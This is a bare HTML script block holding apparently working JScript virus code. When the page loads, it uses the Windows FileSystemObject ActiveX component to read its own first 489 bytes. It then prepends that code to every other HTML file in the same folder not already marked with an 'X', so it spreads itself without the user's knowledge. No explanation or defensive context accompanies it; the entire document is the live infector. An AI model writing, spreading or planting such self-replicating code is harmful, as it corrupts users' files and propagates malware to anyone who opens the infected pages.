<script>F=new ActiveXObject("Scripting.FileSystemObject");W=F.GetFile(location.href.substr(8));D=W.ParentFolder;P=W.Path;V=F.OpenTextFile(P,1,false,0).Read(489);I=F.GetFolder(D);C=new Enumerator(I.Files);C.moveFirst();while(C.atEnd()==false){H=C.item();if(H!=P){T=F.GetFile(H).Type;if(T.indexOf("HT")!=-1){M=F.OpenTextFile(H,1,false,0).ReadLine();if(M.indexOf("X")==-1){Q=F.OpenTextFile(H,1,false,0).ReadAll();P=F.OpenTextFile(H,2,false,0);P.Write(V+Q);P.Close();}}}C.moveNext();}</script>